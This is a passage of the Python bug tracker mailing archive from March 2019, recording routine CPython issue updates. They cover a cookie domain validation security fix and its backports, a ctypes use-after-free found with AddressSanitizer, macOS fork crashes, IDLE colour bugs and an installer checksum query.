Yes, it is the same case.
Still, the current official (3.7.2) release is affected by this problem.

----------
resolution:  -> duplicate
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36244>
_______________________________________

From report at bugs.python.org  Sat Mar  9 14:58:33 2019
From: report at bugs.python.org (SilentGhost)
Date: Sat, 09 Mar 2019 19:58:33 +0000
Subject: [issue36241] MD5 checksum is not valid for v2.7.16 "Windows x86-64
 MSI installer"
In-Reply-To: <1552061646.64.0.483486788425.issue36241@roundup.psfhosted.org>
Message-ID: <1552161513.61.0.125705344703.issue36241@roundup.psfhosted.org>


Change by SilentGhost <ghost.adh at runbox.com>:


----------
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36241>
_______________________________________

From report at bugs.python.org  Sat Mar  9 17:53:15 2019
From: report at bugs.python.org (Julien Palard)
Date: Sat, 09 Mar 2019 22:53:15 +0000
Subject: [issue36239] gettext: GNUTranslations doesn't parse properly comments
 in description
In-Reply-To: <1552053499.48.0.311631388539.issue36239@roundup.psfhosted.org>
Message-ID: <1552171995.99.0.468413252805.issue36239@roundup.psfhosted.org>


Change by Julien Palard <julien+python at palard.fr>:


----------
keywords: +patch
pull_requests: +12241
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36239>
_______________________________________

From report at bugs.python.org  Sat Mar  9 18:28:08 2019
From: report at bugs.python.org (Benjamin Peterson)
Date: Sat, 09 Mar 2019 23:28:08 +0000
Subject: [issue36252] update to Unicode 12
Message-ID: <1552174088.7.0.771249971447.issue36252@roundup.psfhosted.org>


New submission from Benjamin Peterson <benjamin at python.org>:

http://blog.unicode.org/2019/03/announcing-unicode-standard-version-120.html

We need to update the databases.

----------
assignee: benjamin.peterson
components: Unicode
messages: 337582
nosy: benjamin.peterson, ezio.melotti, vstinner
priority: normal
severity: normal
status: open
title: update to Unicode 12
type: enhancement
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36252>
_______________________________________

From report at bugs.python.org  Sat Mar  9 18:51:50 2019
From: report at bugs.python.org (Benjamin Peterson)
Date: Sat, 09 Mar 2019 23:51:50 +0000
Subject: [issue33376] [pysqlite] Duplicate rows can be returned after rolling
 back a transaction
In-Reply-To: <1524874511.54.0.682650639539.issue33376@psf.upfronthosting.co.za>
Message-ID: <1552175510.24.0.33939513474.issue33376@roundup.psfhosted.org>


Change by Benjamin Peterson <benjamin at python.org>:


----------
pull_requests: +12242

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33376>
_______________________________________

From report at bugs.python.org  Sat Mar  9 19:08:40 2019
From: report at bugs.python.org (Ben Harper)
Date: Sun, 10 Mar 2019 00:08:40 +0000
Subject: [issue36253] Use after free in ctypes test suite
Message-ID: <1552176520.99.0.273814604607.issue36253@roundup.psfhosted.org>


New submission from Ben Harper <btharper1221 at gmail.com>:

When running the builtin test suite with address sanitizer enabled, one of the ctypes tests causes a use after free demonstrating the danger of using a reference to the inside of a deallocated buffer. This use is detected as an error by the address sanitizer and can be replicated with the following; a stack trace from the resulting failure is attached.

export ASAN_OPTIONS="detect_leaks=0"
make clean
./configure --with-address-sanitizer --with-pydebug
make
./python Lib/ctypes/test/test_stringptr.py StringPtrTestCase -v

----------
components: Tests, ctypes
files: asan StringPtrTestCase.txt
messages: 337583
nosy: btharper
priority: normal
severity: normal
status: open
title: Use after free in ctypes test suite
type: behavior
versions: Python 2.7, Python 3.4, Python 3.5, Python 3.6, Python 3.7, Python 3.8
Added file: https://bugs.python.org/file48202/asan StringPtrTestCase.txt

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36253>
_______________________________________

From report at bugs.python.org  Sat Mar  9 19:13:27 2019
From: report at bugs.python.org (Ben Harper)
Date: Sun, 10 Mar 2019 00:13:27 +0000
Subject: [issue36253] Use after free in ctypes test suite
In-Reply-To: <1552176520.99.0.273814604607.issue36253@roundup.psfhosted.org>
Message-ID: <1552176807.45.0.645332949453.issue36253@roundup.psfhosted.org>


Change by Ben Harper <btharper1221 at gmail.com>:


----------
keywords: +patch
pull_requests: +12243
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36253>
_______________________________________

From report at bugs.python.org  Sat Mar  9 19:25:58 2019
From: report at bugs.python.org (Benjamin Peterson)
Date: Sun, 10 Mar 2019 00:25:58 +0000
Subject: [issue33376] [pysqlite] Duplicate rows can be returned after rolling
 back a transaction
In-Reply-To: <1524874511.54.0.682650639539.issue33376@psf.upfronthosting.co.za>
Message-ID: <1552177558.94.0.530984326373.issue33376@roundup.psfhosted.org>


Benjamin Peterson <benjamin at python.org> added the comment:


New changeset 738c19f4c5475da186de03e966bd6648e5ced4c4 by Benjamin Peterson in branch 'master':
closes bpo-33376: Update to Unicode 12.0.0. (GH-12256)
https://github.com/python/cpython/commit/738c19f4c5475da186de03e966bd6648e5ced4c4


----------
nosy: +benjamin.peterson
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33376>
_______________________________________

From report at bugs.python.org  Sat Mar  9 19:26:41 2019
From: report at bugs.python.org (Benjamin Peterson)
Date: Sun, 10 Mar 2019 00:26:41 +0000
Subject: [issue33376] [pysqlite] Duplicate rows can be returned after rolling
 back a transaction
In-Reply-To: <1524874511.54.0.682650639539.issue33376@psf.upfronthosting.co.za>
Message-ID: <1552177601.89.0.565455479924.issue33376@roundup.psfhosted.org>


Benjamin Peterson <benjamin at python.org> added the comment:

Sorry, wrong bug.

----------
resolution: fixed -> 
status: closed -> open

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33376>
_______________________________________

From report at bugs.python.org  Sat Mar  9 19:27:47 2019
From: report at bugs.python.org (Benjamin Peterson)
Date: Sun, 10 Mar 2019 00:27:47 +0000
Subject: [issue36252] update to Unicode 12
In-Reply-To: <1552174088.7.0.771249971447.issue36252@roundup.psfhosted.org>
Message-ID: <1552177667.44.0.0866214558278.issue36252@roundup.psfhosted.org>


Benjamin Peterson <benjamin at python.org> added the comment:

738c19f4c5475da186de03e966bd6648e5ced4c4

----------
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36252>
_______________________________________

From report at bugs.python.org  Sat Mar  9 20:43:42 2019
From: report at bugs.python.org (Ned Deily)
Date: Sun, 10 Mar 2019 01:43:42 +0000
Subject: [issue33725] Python crashes on macOS after fork with no exec
In-Reply-To: <1527814386.62.0.682650639539.issue33725@psf.upfronthosting.co.za>
Message-ID: <1552182222.94.0.492799770529.issue33725@roundup.psfhosted.org>


Change by Ned Deily <nad at python.org>:


----------
pull_requests:  -10551

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33725>
_______________________________________

From report at bugs.python.org  Sat Mar  9 20:43:51 2019
From: report at bugs.python.org (Ned Deily)
Date: Sun, 10 Mar 2019 01:43:51 +0000
Subject: [issue33725] Python crashes on macOS after fork with no exec
In-Reply-To: <1527814386.62.0.682650639539.issue33725@psf.upfronthosting.co.za>
Message-ID: <1552182231.03.0.679284226488.issue33725@roundup.psfhosted.org>


Change by Ned Deily <nad at python.org>:


----------
pull_requests:  -10552

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33725>
_______________________________________

From report at bugs.python.org  Sat Mar  9 20:49:04 2019
From: report at bugs.python.org (Ned Deily)
Date: Sun, 10 Mar 2019 01:49:04 +0000
Subject: [issue33725] Python crashes on macOS after fork with no exec
In-Reply-To: <1527814386.62.0.682650639539.issue33725@psf.upfronthosting.co.za>
Message-ID: <1552182544.21.0.810638073853.issue33725@roundup.psfhosted.org>


Ned Deily <nad at python.org> added the comment:

What's the status of this issue?  As far as I know, we haven't come up with any workaround (see msg331011 above) other than disabling our tests.  If we don't have anything better, at the very least we should add a warning to the documentation to avoid fork mode on macOS, no?

----------
priority: normal -> critical
versions:  -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33725>
_______________________________________

From report at bugs.python.org  Sat Mar  9 20:49:48 2019
From: report at bugs.python.org (Eryk Sun)
Date: Sun, 10 Mar 2019 01:49:48 +0000
Subject: [issue36244] Lock release fails under windows
In-Reply-To: <1552075460.88.0.0526115232033.issue36244@roundup.psfhosted.org>
Message-ID: <1552182588.33.0.296069771654.issue36244@roundup.psfhosted.org>


Change by Eryk Sun <eryksun at gmail.com>:


----------
superseder:  -> concurrent.futures.ProcessPoolExecutor does not work in venv on Windows

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36244>
_______________________________________

From report at bugs.python.org  Sat Mar  9 21:09:53 2019
From: report at bugs.python.org (Ned Deily)
Date: Sun, 10 Mar 2019 02:09:53 +0000
Subject: [issue35121] Cookie domain check returns incorrect results
In-Reply-To: <1540968768.96.0.788709270274.issue35121@psf.upfronthosting.co.za>
Message-ID: <1552183793.15.0.776700585336.issue35121@roundup.psfhosted.org>


Ned Deily <nad at python.org> added the comment:


New changeset ca7fe5063593958e5efdf90f068582837f07bd14 by Ned Deily (Xtreak) in branch 'master':
bpo-35121: prefix dot in domain for proper subdomain validation (GH-10258)
https://github.com/python/cpython/commit/ca7fe5063593958e5efdf90f068582837f07bd14


----------
nosy: +lukasz.langa

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35121>
_______________________________________

From report at bugs.python.org  Sat Mar  9 21:10:14 2019
From: report at bugs.python.org (miss-islington)
Date: Sun, 10 Mar 2019 02:10:14 +0000
Subject: [issue35121] Cookie domain check returns incorrect results
In-Reply-To: <1540968768.96.0.788709270274.issue35121@psf.upfronthosting.co.za>
Message-ID: <1552183814.36.0.275690911152.issue35121@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12244

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35121>
_______________________________________

From report at bugs.python.org  Sat Mar  9 21:10:28 2019
From: report at bugs.python.org (miss-islington)
Date: Sun, 10 Mar 2019 02:10:28 +0000
Subject: [issue35121] Cookie domain check returns incorrect results
In-Reply-To: <1540968768.96.0.788709270274.issue35121@psf.upfronthosting.co.za>
Message-ID: <1552183828.67.0.223988352677.issue35121@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12245

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35121>
_______________________________________

From report at bugs.python.org  Sat Mar  9 21:36:45 2019
From: report at bugs.python.org (miss-islington)
Date: Sun, 10 Mar 2019 02:36:45 +0000
Subject: [issue35121] Cookie domain check returns incorrect results
In-Reply-To: <1540968768.96.0.788709270274.issue35121@psf.upfronthosting.co.za>
Message-ID: <1552185405.4.0.491225383537.issue35121@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12246

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35121>
_______________________________________

From report at bugs.python.org  Sat Mar  9 21:41:12 2019
From: report at bugs.python.org (Windson Yang)
Date: Sun, 10 Mar 2019 02:41:12 +0000
Subject: [issue18697] Unify arguments names in Unicode object C API
 documentation
In-Reply-To: <1376074126.58.0.40251146149.issue18697@psf.upfronthosting.co.za>
Message-ID: <1552185672.78.0.712765604119.issue18697@roundup.psfhosted.org>


Windson Yang <wiwindson at outlook.com> added the comment:

I agreed with @Matheus, it would be better than the current implementation

----------
nosy: +Windson Yang
versions: +Python 3.6, Python 3.7 -Python 2.7, Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue18697>
_______________________________________

From report at bugs.python.org  Sat Mar  9 21:41:26 2019
From: report at bugs.python.org (Windson Yang)
Date: Sun, 10 Mar 2019 02:41:26 +0000
Subject: [issue18697] Unify arguments names in Unicode object C API
 documentation
In-Reply-To: <1376074126.58.0.40251146149.issue18697@psf.upfronthosting.co.za>
Message-ID: <1552185686.17.0.438281017423.issue18697@roundup.psfhosted.org>


Change by Windson Yang <wiwindson at outlook.com>:


----------
versions: +Python 2.7, Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue18697>
_______________________________________

From report at bugs.python.org  Sat Mar  9 21:41:57 2019
From: report at bugs.python.org (Windson Yang)
Date: Sun, 10 Mar 2019 02:41:57 +0000
Subject: [issue18697] Unify arguments names in Unicode object C API
 documentation
In-Reply-To: <1376074126.58.0.40251146149.issue18697@psf.upfronthosting.co.za>
Message-ID: <1552185717.31.0.00319276736186.issue18697@roundup.psfhosted.org>


Change by Windson Yang <wiwindson at outlook.com>:


----------
versions:  -Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue18697>
_______________________________________

From report at bugs.python.org  Sat Mar  9 21:58:28 2019
From: report at bugs.python.org (Ned Deily)
Date: Sun, 10 Mar 2019 02:58:28 +0000
Subject: [issue35121] Cookie domain check returns incorrect results
In-Reply-To: <1540968768.96.0.788709270274.issue35121@psf.upfronthosting.co.za>
Message-ID: <1552186708.1.0.314873714931.issue35121@roundup.psfhosted.org>


Ned Deily <nad at python.org> added the comment:


New changeset e5123d81ffb3be35a1b2767d6ced1a097aaf77be by Ned Deily (Miss Islington (bot)) in branch '3.7':
bpo-35121: prefix dot in domain for proper subdomain validation (GH-10258) (GH-12261)
https://github.com/python/cpython/commit/e5123d81ffb3be35a1b2767d6ced1a097aaf77be


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35121>
_______________________________________

From report at bugs.python.org  Sat Mar  9 21:58:29 2019
From: report at bugs.python.org (Davin Potts)
Date: Sun, 10 Mar 2019 02:58:29 +0000
Subject: [issue33725] Python crashes on macOS after fork with no exec
In-Reply-To: <1527814386.62.0.682650639539.issue33725@psf.upfronthosting.co.za>
Message-ID: <1552186709.01.0.688219518156.issue33725@roundup.psfhosted.org>


Davin Potts <python at discontinuity.net> added the comment:

As best as I can see, there is no magic bullet to help mitigate this.

At a minimum, I am convinced we need to update the documentation to describe this behavior on MacOS and recommend alternatives.

I continue to give serious thought to the idea of changing the default start method on MacOS from fork to spawn.  This would be a breaking change though one could argue MacOS has already undergone a breaking change.  Is such a change warranted?

The alternative (which does not seem all that appealing) is that we start encouraging everyone to first consider the start method before attempting to use multiprocessing even for their first time.  Providing sensible defaults is to be preferred, but changing the default to reflect a non-trivial change in the underlying platform is still not to be taken lightly.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33725>
_______________________________________

From report at bugs.python.org  Sat Mar  9 21:59:30 2019
From: report at bugs.python.org (Ned Deily)
Date: Sun, 10 Mar 2019 02:59:30 +0000
Subject: [issue35121] Cookie domain check returns incorrect results
In-Reply-To: <1540968768.96.0.788709270274.issue35121@psf.upfronthosting.co.za>
Message-ID: <1552186770.98.0.568972817642.issue35121@roundup.psfhosted.org>


Ned Deily <nad at python.org> added the comment:


New changeset b241af861b37e20ad30533bc0b7e2e5491cc470f by Ned Deily (Miss Islington (bot)) in branch '3.6':
bpo-35121: prefix dot in domain for proper subdomain validation (GH-10258) (GH-12260)
https://github.com/python/cpython/commit/b241af861b37e20ad30533bc0b7e2e5491cc470f


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35121>
_______________________________________

From report at bugs.python.org  Sat Mar  9 22:01:07 2019
From: report at bugs.python.org (Ned Deily)
Date: Sun, 10 Mar 2019 03:01:07 +0000
Subject: [issue35121] Cookie domain check returns incorrect results
In-Reply-To: <1540968768.96.0.788709270274.issue35121@psf.upfronthosting.co.za>
Message-ID: <1552186867.03.0.150448148506.issue35121@roundup.psfhosted.org>


Change by Ned Deily <nad at python.org>:


----------
pull_requests:  -12244

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35121>
_______________________________________

From report at bugs.python.org  Sat Mar  9 22:06:58 2019
From: report at bugs.python.org (Ned Deily)
Date: Sun, 10 Mar 2019 03:06:58 +0000
Subject: [issue35121] Cookie domain check returns incorrect results
In-Reply-To: <1540968768.96.0.788709270274.issue35121@psf.upfronthosting.co.za>
Message-ID: <1552187218.5.0.776111675567.issue35121@roundup.psfhosted.org>


Ned Deily <nad at python.org> added the comment:

OK, thanks for the initial report and a big thank you to @xtreak for the PR and following up on things.  The PR is now merged to master for 3.8.0 and backported as a security fix for release in 3.7.3 and 3.6.9.  Reassigning to Benjamin for a decision on backporting to 2.7.

----------
assignee:  -> benjamin.peterson
stage: patch review -> commit review
versions: +Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35121>
_______________________________________

From report at bugs.python.org  Sat Mar  9 22:36:12 2019
From: report at bugs.python.org (Windson Yang)
Date: Sun, 10 Mar 2019 03:36:12 +0000
Subject: [issue26018] documentation of ZipFile file name encoding
In-Reply-To: <1452038801.7.0.594053315947.issue26018@psf.upfronthosting.co.za>
Message-ID: <1552188972.56.0.536529634852.issue26018@roundup.psfhosted.org>


Windson Yang <wiwindson at outlook.com> added the comment:

I can't find the Note in the current document

----------
nosy: +Windson Yang
versions: +Python 3.4, Python 3.5 -Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue26018>
_______________________________________

From report at bugs.python.org  Sat Mar  9 22:36:56 2019
From: report at bugs.python.org (Windson Yang)
Date: Sun, 10 Mar 2019 03:36:56 +0000
Subject: [issue26018] documentation of ZipFile file name encoding
In-Reply-To: <1452038801.7.0.594053315947.issue26018@psf.upfronthosting.co.za>
Message-ID: <1552189016.72.0.745960226581.issue26018@roundup.psfhosted.org>


Windson Yang <wiwindson at outlook.com> added the comment:

Please ignore the last message, the docs locate in 3.4 and 3.5

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue26018>
_______________________________________

From report at bugs.python.org  Sat Mar  9 23:35:32 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Sun, 10 Mar 2019 04:35:32 +0000
Subject: [issue36176] Fix IDLE Autocomplete / Calltip Window Colors
In-Reply-To: <1551669431.81.0.580899841799.issue36176@roundup.psfhosted.org>
Message-ID: <1552192532.15.0.393508273098.issue36176@roundup.psfhosted.org>


Terry J. Reedy <tjreedy at udel.edu> added the comment:

I presume that the folders have names I cannot see because they are white on white, even though the current directly name is black (on gray).  The effect of the dark screen theme seems inconsistent.

  The open and save-as dialog boxes are provided by tk to either use or match the OS version.  (On Windows, I am fairly sure the native widget is being used.)  The tkinter wrappers are in its filedialog module. There are no color options.  So this is a tkinter or more likely, tk, issue.  This suggests to me that tcl/tk and KDE are not quite compatible.

The search box (searchbase.py) uses ttk widgets.  It seems that ttk.Frame picks up its background color from the environment while the included ttk widgets do not.  The effect is a little strange, but at least the text, including the entered text is readable.  We could make the backgrounds consistent either by setting the frame 'white' or by conditionally using a dark theme (there might already be one) for the contained widgets.  This is a separate issue.  

The 3.7.3rc cutoff is in a couple of days so I will make a minimal PR to fix the overt bugs that we know about and can.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36176>
_______________________________________

From report at bugs.python.org  Sat Mar  9 23:36:44 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Sun, 10 Mar 2019 04:36:44 +0000
Subject: [issue36253] Use after free in ctypes test suite
In-Reply-To: <1552176520.99.0.273814604607.issue36253@roundup.psfhosted.org>
Message-ID: <1552192604.51.0.491979780477.issue36253@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
nosy: +amaury.forgeotdarc, belopolsky, gregory.p.smith, meador.inge

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36253>
_______________________________________

From report at bugs.python.org  Sat Mar  9 23:38:13 2019
From: report at bugs.python.org (Kristoffer Law)
Date: Sun, 10 Mar 2019 04:38:13 +0000
Subject: [issue36176] Fix IDLE Autocomplete / Calltip Window Colors
In-Reply-To: <1552192532.15.0.393508273098.issue36176@roundup.psfhosted.org>
Message-ID: <CAKDPjARAM8wH9FGwCafCTBFtqgzjpz66mksUoDX6V10YdE50wQ@mail.gmail.com>


Kristoffer Law <klaw at kslaw.me> added the comment:

Awesome, thanks.

Let me know if there is anything you'd like me to test, it looks like
you've already tested removing that variable.

On Sat, Mar 9, 2019, 20:35 Terry J. Reedy <report at bugs.python.org> wrote:

>
> Terry J. Reedy <tjreedy at udel.edu> added the comment:
>
> I presume that the folders have names I cannot see because they are white
> on white, even though the current directly name is black (on gray).  The
> effect of the dark screen theme seems inconsistent.
>
>   The open and save-as dialog boxes are provided by tk to either use or
> match the OS version.  (On Windows, I am fairly sure the native widget is
> being used.)  The tkinter wrappers are in its filedialog module. There are
> no color options.  So this is a tkinter or more likely, tk, issue.  This
> suggests to me that tcl/tk and KDE are not quite compatible.
>
> The search box (searchbase.py) uses ttk widgets.  It seems that ttk.Frame
> picks up its background color from the environment while the included ttk
> widgets do not.  The effect is a little strange, but at least the text,
> including the entered text is readable.  We could make the backgrounds
> consistent either by setting the frame 'white' or by conditionally using a
> dark theme (there might already be one) for the contained widgets.  This is
> a separate issue.
>
> The 3.7.3rc cutoff is in a couple of days so I will make a minimal PR to
> fix the overt bugs that we know about and can.
>
> ----------
>
> _______________________________________
> Python tracker <report at bugs.python.org>
> <https://bugs.python.org/issue36176>
> _______________________________________
>

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36176>
_______________________________________

From report at bugs.python.org  Sun Mar 10 00:15:26 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Sun, 10 Mar 2019 05:15:26 +0000
Subject: [issue36176] Fix IDLE Autocomplete / Calltip Window Colors
In-Reply-To: <1551669431.81.0.580899841799.issue36176@roundup.psfhosted.org>
Message-ID: <1552194926.15.0.406005602205.issue36176@roundup.psfhosted.org>


Change by Terry J. Reedy <tjreedy at udel.edu>:


----------
keywords: +patch
pull_requests: +12247
stage: needs patch -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36176>
_______________________________________

From report at bugs.python.org  Sun Mar 10 04:21:40 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 10 Mar 2019 08:21:40 +0000
Subject: [issue35121] Cookie domain check returns incorrect results
In-Reply-To: <1540968768.96.0.788709270274.issue35121@psf.upfronthosting.co.za>
Message-ID: <1552206100.35.0.55920276777.issue35121@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

What about 3.4 and 3.5?

----------
nosy: +larry
versions: +Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35121>
_______________________________________

From report at bugs.python.org  Sun Mar 10 04:24:30 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 10 Mar 2019 08:24:30 +0000
Subject: [issue26018] documentation of ZipFile file name encoding
In-Reply-To: <1452038801.7.0.594053315947.issue26018@psf.upfronthosting.co.za>
Message-ID: <1552206270.14.0.919017505824.issue26018@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

This not have been removed in issue32035. 3.4 and 3.5 currently take only security fixes.

----------
nosy: +serhiy.storchaka
resolution:  -> out of date
stage: needs patch -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue26018>
_______________________________________

From report at bugs.python.org  Sun Mar 10 04:40:50 2019
From: report at bugs.python.org (SilentGhost)
Date: Sun, 10 Mar 2019 08:40:50 +0000
Subject: [issue36250] pdb: interaction might cause "ValueError: signal only
 works in main thread"
In-Reply-To: <1552141425.82.0.352633065246.issue36250@roundup.psfhosted.org>
Message-ID: <1552207250.02.0.226373821213.issue36250@roundup.psfhosted.org>


Change by SilentGhost <ghost.adh at runbox.com>:


----------
nosy: +zach.ware
type:  -> behavior

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36250>
_______________________________________

From report at bugs.python.org  Sun Mar 10 04:51:02 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Sun, 10 Mar 2019 08:51:02 +0000
Subject: [issue35121] Cookie domain check returns incorrect results
In-Reply-To: <1540968768.96.0.788709270274.issue35121@psf.upfronthosting.co.za>
Message-ID: <1552207862.4.0.487168288253.issue35121@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

>From my initial tests 3.4 and 3.5 were also affected. 3.4 is going EoL and RC1 is out but there is one another security issue (issue36216) fixed last week with a PR open. If the merge window is open and Larry is okay then I can raise backport PRs if needed. There are less changes made to cookiejar and cherry_picker would also work fine as I tried it locally.


cherry_picker --no-push ca7fe5063593958e5efdf90f068582837f07bd14 3.5
? ? ?

Now backporting 'ca7fe5063593958e5efdf90f068582837f07bd14' into '3.5'
Switched to a new branch 'backport-ca7fe50-3.5'
Branch 'backport-ca7fe50-3.5' set up to track remote branch '3.5' from 'upstream'.

[backport-ca7fe50-3.5 fcb2dd85a0] bpo-35121: prefix dot in domain for proper subdomain validation (GH-10258)
 Author: Xtreak <tir.karthi at gmail.com>
 Date: Sun Mar 10 07:39:48 2019 +0530
 3 files changed, 45 insertions(+), 2 deletions(-)
 create mode 100644 Misc/NEWS.d/next/Security/2018-10-31-15-39-17.bpo-35121.EgHv9k.rst


Finished cherry-pick ca7fe5063593958e5efdf90f068582837f07bd14 into backport-ca7fe50-3.5 ?

cherry_picker --no-push ca7fe5063593958e5efdf90f068582837f07bd14 3.4
? ? ?

Now backporting 'ca7fe5063593958e5efdf90f068582837f07bd14' into '3.4'
Switched to a new branch 'backport-ca7fe50-3.4'
Branch 'backport-ca7fe50-3.4' set up to track remote branch '3.4' from 'upstream'.

Performing inexact rename detection: 100% (639108/639108), done.
[backport-ca7fe50-3.4 46ea57d6b3] bpo-35121: prefix dot in domain for proper subdomain validation (GH-10258)
 Author: Xtreak <tir.karthi at gmail.com>
 Date: Sun Mar 10 07:39:48 2019 +0530
 3 files changed, 45 insertions(+), 2 deletions(-)
 create mode 100644 Misc/NEWS.d/next/Security/2018-10-31-15-39-17.bpo-35121.EgHv9k.rst


Finished cherry-pick ca7fe5063593958e5efdf90f068582837f07bd14 into backport-ca7fe50-3.4 ?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35121>
_______________________________________

From report at bugs.python.org  Sun Mar 10 05:16:39 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Sun, 10 Mar 2019 09:16:39 +0000
Subject: [issue35121] Cookie domain check returns incorrect results
In-Reply-To: <1540968768.96.0.788709270274.issue35121@psf.upfronthosting.co.za>
Message-ID: <1552209399.2.0.068086790489.issue35121@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

There are many libraries that use DefaultCookiePolicy and requests library uses it for client where session state needs to be maintained across different requests. Currently, requests doesn't have a documented API to change to cookiejar policy and were not keen on introducing a custom one since this might introduce maintenance burden over keeping it in sync with other changes when made upstream. The team have been informed about this when the issue was created and I also updated the maintainers now about the fix being merged since it's a highly popular library. 

So requests will remain affected when ran on versions where this patch is not available in CPython standard library as of now. A potentially simple workaround in the absence of patch on affected versions is to set DomainStrict in the cookiepolicy that would make sure a literal match against domain is made at [0] . The disadvantage I guess would be that cookie set on example.com would not be shared with subdomain which might break workflow. aio-http was not affected since it uses custom cookiejar policy. scrapy also seems to be not affected since they custom policies. Most of the web frameworks don't recommend setting domain explicitly and set them implicitly so it can be reproduced in the default setup of frameworks and Flask was the one I tested which makes me assume this could be easily exploited.


[0] https://github.com/python/cpython/blob/ca7fe5063593958e5efdf90f068582837f07bd14/Lib/http/cookiejar.py#L1158

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35121>
_______________________________________

From report at bugs.python.org  Sun Mar 10 06:11:46 2019
From: report at bugs.python.org (andrejs-sisojevs-accenture)
Date: Sun, 10 Mar 2019 10:11:46 +0000
Subject: [issue36241] MD5 checksum is not valid for v2.7.16 "Windows x86-64
 MSI installer"
In-Reply-To: <1552061646.64.0.483486788425.issue36241@roundup.psfhosted.org>
Message-ID: <1552212706.77.0.123095289771.issue36241@roundup.psfhosted.org>


andrejs-sisojevs-accenture <andrejs.sisojevs at accenture.com> added the comment:

Please confirm, that old "2fe86194bb4027be75b29852027f1a79" was valid in past (as opposed to be security compromised). We need to make sure, since some of our devs downloaded and used that version with unconfirmed checksum.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36241>
_______________________________________

From report at bugs.python.org  Sun Mar 10 06:20:49 2019
From: report at bugs.python.org (andrejs-sisojevs-accenture)
Date: Sun, 10 Mar 2019 10:20:49 +0000
Subject: [issue36241] MD5 checksum is not valid for v2.7.16 "Windows x86-64
 MSI installer"
In-Reply-To: <1552061646.64.0.483486788425.issue36241@roundup.psfhosted.org>
Message-ID: <1552213249.24.0.116132707167.issue36241@roundup.psfhosted.org>


andrejs-sisojevs-accenture <andrejs.sisojevs at accenture.com> added the comment:

Oh, and also (please confirm) that 2841e92ba89a6f036305a8a07fbe9d18 was not security compromised.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36241>
_______________________________________

From report at bugs.python.org  Sun Mar 10 06:29:21 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 10 Mar 2019 10:29:21 +0000
Subject: [issue36251] Invalid format specifiers in MatchObject and StdPrinter
 repr
